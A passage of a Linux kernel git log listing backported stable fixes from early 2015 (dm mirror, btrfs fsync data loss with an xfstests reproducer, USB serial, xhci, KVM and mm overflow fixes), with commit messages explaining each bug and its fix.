decreases and the loop never terminates. To fix this: before entering the loop, check for the combination of REQ_DISCARD and no discard and return -EOPNOTSUPP to avoid hanging up the mirror device. This bug was found by the unfortunate coincidence of pvmove and a discard operation in the RHEL 6.5 kernel; upstream is also affected. Signed-off-by: Darrick J. Wong Acked-by: "Martin K. Petersen" Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18ff48f4823b5ee0fe00e26d69efc4c6c033d00e Author: Mikulas Patocka Date: Thu Feb 12 10:09:20 2015 -0500 dm mirror: do not degrade the mirror on discard error commit f2ed51ac64611d717d1917820a01930174c2f236 upstream. It may be possible that a device claims discard support but it rejects discards with -EOPNOTSUPP. It happens when using loopback on ext2/ext3 filesystem driven by the ext4 driver. It may also happen if the underlying devices are moved from one disk on another. If discard error happens, we reject the bio with -EOPNOTSUPP, but we do not degrade the array. This patch fixes failed test shell/lvconvert-repair-transient.sh in the lvm2 testsuite if the testsuite is extracted on an ext2 or ext3 filesystem and it is being driven by the ext4 driver. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56ba068363b16ab25f8661223bef881085ab7cb6 Author: Ian Abbott Date: Tue Jan 27 18:16:51 2015 +0000 staging: comedi: comedi_compat32.c: fix COMEDI_CMD copy back commit 42b8ce6f55facfa101462e694d33fc6bca471138 upstream. `do_cmd_ioctl()` in "comedi_fops.c" handles the `COMEDI_CMD` ioctl. This returns `-EAGAIN` if it has copied a modified `struct comedi_cmd` back to user-space. (This occurs when the low-level Comedi driver's `do_cmdtest()` handler returns non-zero to indicate a problem with the contents of the `struct comedi_cmd`, or when the `struct comedi_cmd` has the `CMDF_BOGUS` flag set.) `compat_cmd()` in "comedi_compat32.c" handles the 32-bit compatible version of the `COMEDI_CMD` ioctl. Currently, it never copies a 32-bit compatible version of `struct comedi_cmd` back to user-space, which is at odds with the way the regular `COMEDI_CMD` ioctl is handled. To fix it, change `compat_cmd()` to copy a 32-bit compatible version of the `struct comedi_cmd` back to user-space when the main ioctl handler returns `-EAGAIN`. Signed-off-by: Ian Abbott Reviewed-by: H Hartley Sweeten Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5140297c53159a25113bff76afe5e03b702f53b1 Author: Chen-Yu Tsai Date: Thu Jun 26 23:55:41 2014 +0800 clk: sunxi: Support factor clocks with N factor starting not from 0 commit 9a5e6c7eb5ccbb5f0d3a1dffce135f0a727f40e1 upstream. The PLLs on newer Allwinner SoC's, such as the A31 and A23, have a N multiplier factor that starts from 1, not 0. This patch adds an option to the factor clk driver's config data structures to specify the base value of N. Signed-off-by: Chen-Yu Tsai Acked-by: Maxime Ripard Signed-off-by: Maxime Ripard Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d50e7073f80584dfbcfd318eee8990e693135c4 Author: Minh Duc Tran Date: Mon Feb 9 18:54:09 2015 +0000 fixed invalid assignment of 64bit mask to host dma_boundary for scatter gather segment boundary limit. commit f76a610a8b4b6280eaedf48f3af9d5d74e418b66 upstream. In reference to bug https://bugzilla.redhat.com/show_bug.cgi?id=1097141 Assert is seen with AMD cpu whenever calling pci_alloc_consistent. [ 29.406183] ------------[ cut here ]------------ [ 29.410505] kernel BUG at lib/iommu-helper.c:13! Signed-off-by: Minh Tran Fixes: 6733b39a1301b0b020bbcbf3295852e93e624cb1 Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a42af39e4b7d20cedce7060c9f658f8f0412f6ce Author: Ryusuke Konishi Date: Fri Feb 27 15:51:56 2015 -0800 nilfs2: fix potential memory overrun on inode commit 957ed60b53b519064a54988c4e31e0087e47d091 upstream. Each inode of nilfs2 stores a root node of a b-tree, and it turned out to have a memory overrun issue: Each b-tree node of nilfs2 stores a set of key-value pairs and the number of them (in "bn_nchildren" member of nilfs_btree_node struct), as well as a few other "bn_*" members. Since the value of "bn_nchildren" is used for operations on the key-values within the b-tree node, it can cause memory access overrun if a large number is incorrectly set to "bn_nchildren". For instance, nilfs_btree_node_lookup() function determines the range of binary search with it, and too large "bn_nchildren" leads nilfs_btree_node_get_key() in that function to overrun. As for intermediate b-tree nodes, this is prevented by a sanity check performed when each node is read from a drive, however, no sanity check has been done for root nodes stored in inodes. This patch fixes the issue by adding missing sanity check against b-tree root nodes so that it's called when on-memory inodes are read from ifile, inode metadata file. Signed-off-by: Ryusuke Konishi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 059ef09ce67f4c82a36bd9683f4bc5390b6ac1a8 Author: Mitko Haralanov Date: Fri Jan 16 08:55:27 2015 -0500 IB/qib: Do not write EEPROM commit 18c0b82a3e4501511b08d0e8676fb08ac08734a3 upstream. This changeset removes all the code that allows the driver to write to the EEPROM and update the recorded error counters and power on hours. These two stats are unused and writing them exposes a timing risk which could leave the EEPROM in a bad state preventing further normal operation of the HCA. Reviewed-by: Mike Marciniszyn Signed-off-by: Mitko Haralanov Signed-off-by: Mike Marciniszyn Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd3890d1b33743e90affd73b3e901595565a2df6 Author: Tony Battersby Date: Wed Feb 11 11:32:06 2015 -0500 sg: fix read() error reporting commit 3b524a683af8991b4eab4182b947c65f0ce1421b upstream. Fix SCSI generic read() incorrectly returning success after detecting an error. Signed-off-by: Tony Battersby Acked-by: Douglas Gilbert Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5098a3a0189a985f499e56a8c3b89a75039322b Author: Takashi Iwai Date: Thu Feb 19 13:01:37 2015 +0100 ALSA: hda - Add pin configs for ASUS mobo with IDT 92HD73XX codec commit 6426460e5d87810e042962281fe3c1e8fc256162 upstream. BIOS doesn't seem to set up pins for 5.1 and the SPDIF out, so we need to give explicitly here. Reported-and-tested-by: Misan Thropos Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e8d3645db8a60fad557ebd6ebcdd0fd33527929 Author: Takashi Iwai Date: Thu Dec 18 10:02:41 2014 +0100 ALSA: pcm: Don't leave PREPARED state after draining commit 70372a7566b5e552dbe48abdac08c275081d8558 upstream. When a PCM draining is performed to an empty stream that has been already in PREPARED state, the current code just ignores and leaves as it is, although the drain is supposed to set all such streams to SETUP state. This patch covers that overlooked case. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68f54e5a4707e7010eabc47e90f17698ed6c2876 Author: Jiri Slaby Date: Fri Feb 27 18:40:31 2015 +0100 tty: fix up atime/mtime mess, take four commit f0bf0bd07943bfde8f5ac39a32664810a379c7d3 upstream. This problem was taken care of three times already in * b0de59b5733d18b0d1974a060860a8b5c1b36a2e (TTY: do not update atime/mtime on read/write), * 37b7f3c76595e23257f61bd80b223de8658617ee (TTY: fix atime/mtime regression), and * b0b885657b6c8ef63a46bc9299b2a7715d19acde (tty: fix up atime/mtime mess, take three) But it still misses one point. As John Paul correctly points out, we do not care about setting date. If somebody ever changes wall time backwards (by mistake for example), tty timestamps are never updated until the original wall time passes. So check the absolute difference of times and if it large than "8 seconds or so", always update the time. That means we will update immediatelly when changing time. Ergo, CAP_SYS_TIME can foul the check, but it was always that way. Thanks John for serving me this so nicely debugged. Signed-off-by: Jiri Slaby Reported-by: John Paul Perry Acked-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95dcf1914bf195bd408dcd3553105646249d8f3b Author: Al Viro Date: Sat Mar 7 21:08:46 2015 +0000 sunrpc: fix braino in ->poll() commit 1711fd9addf214823b993468567cab1f8254fc51 upstream. POLL_OUT isn't what callers of ->poll() are expecting to see; it's actually __SI_POLL | 2 and it's a siginfo code, not a poll bitmap bit... Signed-off-by: Al Viro Cc: Bruce Fields Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 394b536817d2c613ba2b865096c94b9ced052c13 Author: Al Viro Date: Sat Feb 21 22:16:11 2015 -0500 procfs: fix race between symlink removals and traversals commit 7e0e953bb0cf649f93277ac8fb67ecbb7f7b04a9 upstream. use_pde()/unuse_pde() in ->follow_link()/->put_link() resp. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1b46f1022365446214af183cff2c8eb3bf2c702 Author: Al Viro Date: Sat Feb 21 22:05:11 2015 -0500 debugfs: leave freeing a symlink body until inode eviction commit 0db59e59299f0b67450c5db21f7f316c8fb04e84 upstream. As it is, we have debugfs_remove() racing with symlink traversals. Supply ->evict_inode() and do freeing there - inode will remain pinned until we are done with the symlink body. And rip the idiocy with checking if dentry is positive right after we'd verified debugfs_positive(), which is a stronger check... Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 842f9c5c52fa52d608a723630b9c7c82de433bc3 Author: Al Viro Date: Sat Feb 21 22:19:57 2015 -0500 autofs4 copy_dev_ioctl(): keep the value of ->size we'd used for allocation commit 0a280962dc6e117e0e4baa668453f753579265d9 upstream. X-Coverup: just ask spender Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dab058541050ff5ed152b86200b76ff90fee714b Author: Johan Hovold Date: Wed Feb 18 10:34:50 2015 +0700 USB: serial: fix potential use-after-free after failed probe commit 07fdfc5e9f1c966be8722e8fa927e5ea140df5ce upstream. Fix return value in probe error path, which could end up returning success (0) on errors. This could in turn lead to use-after-free or double free (e.g. in port_remove) when the port device is removed. Fixes: c706ebdfc895 ("USB: usb-serial: call port_probe and port_remove at the right times") Signed-off-by: Johan Hovold Acked-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b6ef1a7964d2c1ea1399881f801349978375f56 Author: Johan Hovold Date: Wed Mar 4 10:39:06 2015 +0100 TTY: fix tty_wait_until_sent on 64-bit machines commit 79fbf4a550ed6a22e1ae1516113e6c7fa5d56a53 upstream. Fix overflow bug in tty_wait_until_sent on 64-bit machines, where an infinite timeout (0) would be passed to the underlying tty-driver's wait_until_sent-operation as a negative timeout (-1), causing it to return immediately. This manifests itself for example as tcdrain() returning immediately, drivers not honouring the drain flags when setting terminal attributes, or even dropped data on close as a requested infinite closing-wait timeout would be ignored. The first symptom was reported by Asier LLANO who noted that tcdrain() returned prematurely when using the ftdi_sio usb-serial driver. Fix this by passing 0 rather than MAX_SCHEDULE_TIMEOUT (LONG_MAX) to the underlying tty driver. Note that the serial-core wait_until_sent-implementation is not affected by this bug due to a lucky chance (comparison to an unsigned maximum timeout), and neither is the cyclades one that had an explicit check for negative timeouts, but all other tty drivers appear to be affected. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Reported-by: ZIV-Asier Llano Palacios Signed-off-by: Johan Hovold Reviewed-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a45199e0441fd9f6e83f60ea6710e67b9a902da3 Author: Johan Hovold Date: Wed Mar 4 10:39:05 2015 +0100 USB: serial: fix infinite wait_until_sent timeout commit f528bf4f57e43d1af4b2a5c97f09e43e0338c105 upstream. Make sure to handle an infinite timeout (0). Note that wait_until_sent is currently never called with a 0-timeout argument due to a bug in tty_wait_until_sent. Fixes: dcf010503966 ("USB: serial: add generic wait_until_sent implementation") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aca3318e4a56ce44bc9a7e79c97a5350fd922efa Author: Johan Hovold Date: Wed Mar 4 10:39:03 2015 +0100 net: irda: fix wait_until_sent poll timeout commit 2c3fbe3cf28fbd7001545a92a83b4f8acfd9fa36 upstream. In case an infinite timeout (0) is requested, the irda wait_until_sent implementation would use a zero poll timeout rather than the default 200ms. Note that wait_until_sent is currently never called with a 0-timeout argument due to a bug in tty_wait_until_sent. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 25389899f8e45cf2d675763b0c2a4adf0dd477e5 Author: Aleksander Morgado Date: Fri Mar 6 17:14:21 2015 +0200 xhci: fix reporting of 0-sized URBs in control endpoint commit 45ba2154d12fc43b70312198ec47085f10be801a upstream. When a control transfer has a short data stage, the xHCI controller generates two transfer events: a COMP_SHORT_TX event that specifies the untransferred amount, and a COMP_SUCCESS event. But when the data stage is not short, only the COMP_SUCCESS event occurs. Therefore, xhci-hcd must set urb->actual_length to urb->transfer_buffer_length while processing the COMP_SUCCESS event, unless urb->actual_length was set already by a previous COMP_SHORT_TX event. The driver checks this by seeing whether urb->actual_length == 0, but this alone is the wrong test, as it is entirely possible for a short transfer to have an urb->actual_length = 0. This patch changes the xhci driver to rely on a new td->urb_length_set flag, which is set to true when a COMP_SHORT_TX event is received and the URB length updated at that stage. This fixes a bug which affected the HSO plugin, which relies on URBs with urb->actual_length == 0 to halt re-submitting the RX URB in the control endpoint. Signed-off-by: Aleksander Morgado Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ee306e63f3e74a04281921e67b175d8d93e2bf6 Author: Mathias Nyman Date: Tue Feb 24 18:27:01 2015 +0200 xhci: Allocate correct amount of scratchpad buffers commit 6596a926b0b6c80b730a1dd2fa91908e0a539c37 upstream. Include the high order bit fields for Max scratchpad buffers when calculating how many scratchpad buffers are needed. I'm suprised this hasn't caused more issues, we never allocated more than 32 buffers even if xhci needed more. Either we got lucky and xhci never really used past that area, or then we got enough zeroed dma memory anyway. Should be backported as far back as possible Reported-by: Tim Chen Tested-by: Tim Chen Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 482b59c8ba673cfd67d0b0ee9e8c30714575f4b0 Author: Max Mansfield Date: Mon Mar 2 18:38:02 2015 -0700 usb: ftdi_sio: Add jtag quirk support for Cyber Cortex AV boards commit c7d373c3f0da2b2b78c4b1ce5ae41485b3ef848c upstream. This patch integrates Cyber Cortex AV boards with the existing ftdi_jtag_quirk in order to use serial port 0 with JTAG which is required by the manufacturers' software. Steps: 2 [ftdi_sio_ids.h] 1. Defined the device PID [ftdi_sio.c] 2. Added a macro declaration to the ids array, in order to enable the jtag quirk for the device. Signed-off-by: Max Mansfield Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fcc45f37bbddeb2dadea9168951859ceee95a52f Author: Alan Stern Date: Fri Feb 13 10:54:53 2015 -0500 USB: usbfs: don't leak kernel data in siginfo commit f0c2b68198589249afd2b1f2c4e8de8c03e19c16 upstream. When a signal is delivered, the information in the siginfo structure is copied to userspace. Good security practice dicatates that the unused fields in this structure should be initialized to 0 so that random kernel stack data isn't exposed to the user. This patch adds such an initialization to the two places where usbfs raises signals. Signed-off-by: Alan Stern Reported-by: Dave Mielke Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5cc3392939911abad2c81c0a80464a2b57aa7302 Author: Michiel vd Garde Date: Fri Feb 27 02:08:29 2015 +0100 USB: serial: cp210x: Adding Seletek device id's commit 675af70856d7cc026be8b6ea7a8b9db10b8b38a1 upstream. These device ID's are not associated with the cp210x module currently, but should be. This patch allows the devices to operate upon connecting them to the usb bus as intended. Signed-off-by: Michiel van de Garde Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 587d1a9ff9cf657309c4efc796bad9d9006d4764 Author: James Hogan Date: Tue Feb 24 11:46:20 2015 +0000 KVM: MIPS: Fix trace event to save PC directly commit b3cffac04eca9af46e1e23560a8ee22b1bd36d43 upstream. Currently the guest exit trace event saves the VCPU pointer to the structure, and the guest PC is retrieved by dereferencing it when the event is printed rather than directly from the trace record. This isn't safe as the printing may occur long afterwards, after the PC has changed and potentially after the VCPU has been freed. Usually this results in the same (wrong) PC being printed for multiple trace events. It also isn't portable as userland has no way to access the VCPU data structure when interpreting the trace record itself. Lets save the actual PC in the structure so that the correct value is accessible later. Fixes: 669e846e6c4e ("KVM/MIPS32: MIPS arch specific APIs for KVM") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: Ralf Baechle Cc: Marcelo Tosatti Cc: Gleb Natapov Cc: Steven Rostedt Cc: Ingo Molnar Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Acked-by: Steven Rostedt Signed-off-by: Marcelo Tosatti Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da952f2e534029bc808656c4238bfaa32e50deeb Author: Paolo Bonzini Date: Thu Feb 12 17:04:47 2015 +0100 KVM: emulate: fix CMPXCHG8B on 32-bit hosts commit 4ff6f8e61eb7f96d3ca535c6d240f863ccd6fb7d upstream. This has been broken for a long time: it broke first in 2.6.35, then was almost fixed in 2.6.36 but this one-liner slipped through the cracks. The bug shows up as an infinite loop in Windows 7 (and newer) boot on 32-bit hosts without EPT. Windows uses CMPXCHG8B to write to page tables, which causes a page fault if running without EPT; the emulator is then called from kvm_mmu_page_fault. The loop then happens if the higher 4 bytes are not 0; the common case for this is that the NX bit (bit 63) is 1. Fixes: 6550e1f165f384f3a46b60a1be9aba4bc3c2adad Fixes: 16518d5ada690643453eb0aef3cc7841d3623c2d Reported-by: Erik Rull Tested-by: Erik Rull Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6657d878b0e9cb2d498375b21959f3b946839f7 Author: Quentin Casasnovas Date: Tue Mar 3 16:31:38 2015 +0100 Btrfs:__add_inode_ref: out of bounds memory read when looking for extended ref. commit dd9ef135e3542ffc621c4eb7f0091870ec7a1504 upstream. Improper arithmetics when calculting the address of the extended ref could lead to an out of bounds memory read and kernel panic. Signed-off-by: Quentin Casasnovas Reviewed-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef56e2141712f2255b992f804924ad1e163f249d Author: Filipe Manana Date: Sun Mar 1 20:36:00 2015 +0000 Btrfs: fix data loss in the fast fsync path commit 3a8b36f378060d20062a0918e99fae39ff077bf0 upstream. When using the fast file fsync code path we can miss the fact that new writes happened since the last file fsync and therefore return without waiting for the IO to finish and write the new extents to the fsync log. Here's an example scenario where the fsync will miss the fact that new file data exists that wasn't yet durably persisted: 1. fs_info->last_trans_committed == N - 1 and current transaction is transaction N (fs_info->generation == N); 2. do a buffered write; 3. fsync our inode, this clears our inode's full sync flag, starts an ordered extent and waits for it to complete - when it completes at btrfs_finish_ordered_io(), the inode's last_trans is set to the value N (via btrfs_update_inode_fallback -> btrfs_update_inode -> btrfs_set_inode_last_trans); 4. transaction N is committed, so fs_info->last_trans_committed is now set to the value N and fs_info->generation remains with the value N; 5. do another buffered write, when this happens btrfs_file_write_iter sets our inode's last_trans to the value N + 1 (that is fs_info->generation + 1 == N + 1); 6. transaction N + 1 is started and fs_info->generation now has the value N + 1; 7. transaction N + 1 is committed, so fs_info->last_trans_committed is set to the value N + 1; 8. fsync our inode - because it doesn't have the full sync flag set, we only start the ordered extent, we don't wait for it to complete (only in a later phase) therefore its last_trans field has the value N + 1 set previously by btrfs_file_write_iter(), and so we have: inode->last_trans <= fs_info->last_trans_committed (N + 1) (N + 1) Which made us not log the last buffered write and exit the fsync handler immediately, returning success (0) to user space and resulting in data loss after a crash. This can actually be triggered deterministically and the following excerpt from a testcase I made for xfstests triggers the issue. It moves a dummy file across directories and then fsyncs the old parent directory - this is just to trigger a transaction commit, so moving files around isn't directly related to the issue but it was chosen because running 'sync' for example does more than just committing the current transaction, as it flushes/waits for all file data to be persisted. The issue can also happen at random periods, since the transaction kthread periodicaly commits the current transaction (about every 30 seconds by default). The body of the test is: _scratch_mkfs >> $seqres.full 2>&1 _init_flakey _mount_flakey # Create our main test file 'foo', the one we check for data loss. # By doing an fsync against our file, it makes btrfs clear the 'needs_full_sync' # bit from its flags (btrfs inode specific flags). $XFS_IO_PROG -f -c "pwrite -S 0xaa 0 8K" \ -c "fsync" $SCRATCH_MNT/foo | _filter_xfs_io # Now create one other file and 2 directories. We will move this second file # from one directory to the other later because it forces btrfs to commit its # currently open transaction if we fsync the old parent directory. This is # necessary to trigger the data loss bug that affected btrfs. mkdir $SCRATCH_MNT/testdir_1 touch $SCRATCH_MNT/testdir_1/bar mkdir $SCRATCH_MNT/testdir_2 # Make sure everything is durably persisted. sync # Write more 8Kb of data to our file. $XFS_IO_PROG -c "pwrite -S 0xbb 8K 8K" $SCRATCH_MNT/foo | _filter_xfs_io # Move our 'bar' file into a new directory. mv $SCRATCH_MNT/testdir_1/bar $SCRATCH_MNT/testdir_2/bar # Fsync our first directory. Because it had a file moved into some other # directory, this made btrfs commit the currently open transaction. This is # a condition necessary to trigger the data loss bug. $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/testdir_1 # Now fsync our main test file. If the fsync succeeds, we expect the 8Kb of # data we wrote previously to be persisted and available if a crash happens. # This did not happen with btrfs, because of the transaction commit that # happened when we fsynced the parent directory. $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/foo # Simulate a crash/power loss. _load_flakey_table $FLAKEY_DROP_WRITES _unmount_flakey _load_flakey_table $FLAKEY_ALLOW_WRITES _mount_flakey # Now check that all data we wrote before are available. echo "File content after log replay:" od -t x1 $SCRATCH_MNT/foo status=0 exit The expected golden output for the test, which is what we get with this fix applied (or when running against ext3/4 and xfs), is: wrote 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 8192/8192 bytes at offset 8192 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) File content after log replay: 0000000 aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa * 0020000 bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb * 0040000 Without this fix applied, the output shows the test file does not have the second 8Kb extent that we successfully fsynced: wrote 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 8192/8192 bytes at offset 8192 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) File content after log replay: 0000000 aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa * 0020000 So fix this by skipping the fsync only if we're doing a full sync and if the inode's last_trans is <= fs_info->last_trans_committed, or if the inode is already in the log. Also remove setting the inode's last_trans in btrfs_file_write_iter since it's useless/unreliable. Also because btrfs_file_write_iter no longer sets inode->last_trans to fs_info->generation + 1, don't set last_trans to 0 if we bail out and don't bail out if last_trans is 0, otherwise something as simple as the following example wouldn't log the second write on the last fsync: 1. write to file 2. fsync file 3. fsync file |--> btrfs_inode_in_log() returns true and it set last_trans to 0 4. write to file |--> btrfs_file_write_iter() no longers sets last_trans, so it remained with a value of 0 5. fsync |--> inode->last_trans == 0, so it bails out without logging the second write A test case for xfstests will be sent soon. Signed-off-by: Filipe Manana Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c2cbd1f8ecb4e152c0ee752f0b6bafb396e1eeab Author: David Sterba Date: Tue Feb 24 18:57:18 2015 +0100 btrfs: fix lost return value due to variable shadowing commit 1932b7be973b554ffe20a5bba6ffaed6fa995cdc upstream. A block-local variable stores error code but btrfs_get_blocks_direct may not return it in the end as there's a ret defined in the function scope. Fixes: d187663ef24c ("Btrfs: lock extents as we map them in DIO") Signed-off-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 86cd398f6c380472153202f5ec0681380f9a3347 Author: Rasmus Villemoes Date: Fri Jan 23 00:34:02 2015 +0100 iio: imu: adis16400: Fix sign extension commit 19e353f2b344ad86cea6ebbc0002e5f903480a90 upstream. The intention is obviously to sign-extend a 12 bit quantity. But because of C's promotion rules, the assignment is equivalent to "val16 &= 0xfff;". Use the proper API for this. Signed-off-by: Rasmus Villemoes Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 931248b8e883b6afba1270c0aec27f34b5d9decb Author: Andy Lutomirski Date: Thu Mar 5 01:09:44 2015 +0100 x86/asm/entry/64: Remove a bogus 'ret_from_fork' optimization commit 956421fbb74c3a6261903f3836c0740187cf038b upstream. 'ret_from_fork' checks TIF_IA32 to determine whether 'pt_regs' and the related state make sense for 'ret_from_sys_call'. This is entirely the wrong check. TS_COMPAT would make a little more sense, but there's really no point in keeping this optimization at all. This fixes a return to the wrong user CS if we came from int 0x80 in a 64-bit task. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/4710be56d76ef994ddf59087aad98c000fbab9a4.1424989793.git.luto@amacapital.net [ Backported from tip:x86/asm. ] Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 963b4a265a4f8056f4cb9973a715c780b5f723e8 Author: Nicholas Bellinger Date: Fri Feb 13 22:27:40 2015 +0000 target: Check for LBA + sectors wrap-around in sbc_parse_cdb commit aa179935edea9a64dec4b757090c8106a3907ffa upstream. This patch adds a check to sbc_parse_cdb() in order to detect when an LBA + sector vs. end-of-device calculation wraps when the LBA is sufficently large enough (eg: 0xFFFFFFFFFFFFFFFF). Cc: Martin Petersen Cc: Christoph Hellwig Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf5db9e0013623d381c94e9093d3b997b0a69f16 Author: Grazvydas Ignotas Date: Thu Feb 12 15:00:19 2015 -0800 mm/memory.c: actually remap enough memory commit 9cb12d7b4ccaa976f97ce0c5fd0f1b6a83bc2a75 upstream. For whatever reason, generic_access_phys() only remaps one page, but actually allows to access arbitrary size. It's quite easy to trigger large reads, like printing out large structure with gdb, which leads to a crash. Fix it by remapping correct size. Fixes: 28b2ee20c7cb ("access_process_vm device memory infrastructure") Signed-off-by: Grazvydas Ignotas Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a89e4590ce9f75414197fa75211d35d7f6458f1c Author: Joonsoo Kim Date: Thu Feb 12 14:59:50 2015 -0800 mm/compaction: fix wrong order check in compact_finished() commit 372549c2a3778fd3df445819811c944ad54609ca upstream. What we want to check here is whether there is highorder freepage in buddy list of other migratetype in order to steal it without fragmentation. But, current code just checks cc->order which means allocation request order. So, this is wrong. Without this fix, non-movable synchronous compaction below pageblock order would not stopped until compaction is complete, because migratetype of most pageblocks are movable and high order freepage made by compaction is usually on movable type buddy list. There is some report related to this bug. See below link. http://www.spinics.net/lists/linux-mm/msg81666.html Although the issued system still has load spike comes from compaction, this makes that system completely stable and responsive according to his report. stress-highalloc test in mmtests with non movable order 7 allocation doesn't show any notable difference in allocation success rate, but, it shows more compaction success rate. Compaction success rate (Compaction success * 100 / Compaction stalls, %) 18.47 : 28.94 Fixes: 1fb3f8ca0e92 ("mm: compaction: capture a suitable high-order page immediately when it is made available") Signed-off-by: Joonsoo Kim Acked-by: Vlastimil Babka Reviewed-by: Zhang Yanfei Cc: Mel Gorman Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit be614ff802b4480a9dfa6ae7741d3655f205e953 Author: Roman Gushchin Date: Wed Feb 11 15:28:42 2015 -0800 mm/nommu.c: fix arithmetic overflow in __vm_enough_memory() commit 8138a67a5557ffea3a21dfd6f037842d4e748513 upstream. I noticed that "allowed" can easily overflow by falling below 0, because (total_vm / 32) can be larger than "allowed". The problem occurs in OVERCOMMIT_NONE mode. In this case, a huge allocation can success and overcommit the system (despite OVERCOMMIT_NONE mode). All subsequent allocations will fall (system-wide), so system become unusable. The problem was masked out by commit c9b1d0981fcc ("mm: limit growth of 3% hardcoded other user reserve"), but it's easy to reproduce it on older kernels: 1) set overcommit_memory sysctl to 2 2) mmap() large file multiple times (with VM_SHARED flag) 3) try to malloc() large amount of memory It also can be reproduced on newer kernels, but miss-configured sysctl_user_reserve_kbytes is required. Fix this issue by switching to signed arithmetic here. Signed-off-by: Roman Gushchin Cc: Andrew Shewmaker Cc: Rik van Riel Cc: Konstantin Khlebnikov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c96538429a1558a9c42b5a454cc52da52768f457 Author: Roman Gushchin Date: Wed Feb 11 15:28:39 2015 -0800 mm/mmap.c: fix arithmetic overflow in __vm_enough_memory() commit 5703b087dc8eaf47bfb399d6cf512d471beff405 upstream. I noticed, that "allowed" can easily overflow by falling below 0, because (total_vm / 32) can be larger than "allowed". The problem occurs in OVERCOMMIT_NONE mode. In this case, a huge allocation can success and overcommit the system (despite OVERCOMMIT_NONE mode). All subsequent allocations will fall (system-wide), so system become unusable. The problem was masked out by commit c9b1d0981fcc ("mm: limit growth of 3% hardcoded other user reserve"), but it's easy to reproduce it on older kernels: 1) set overcommit_memory sysctl to 2 2) mmap() large file multiple times (with VM_SHARED flag) 3) try to malloc() large amount of memory It also 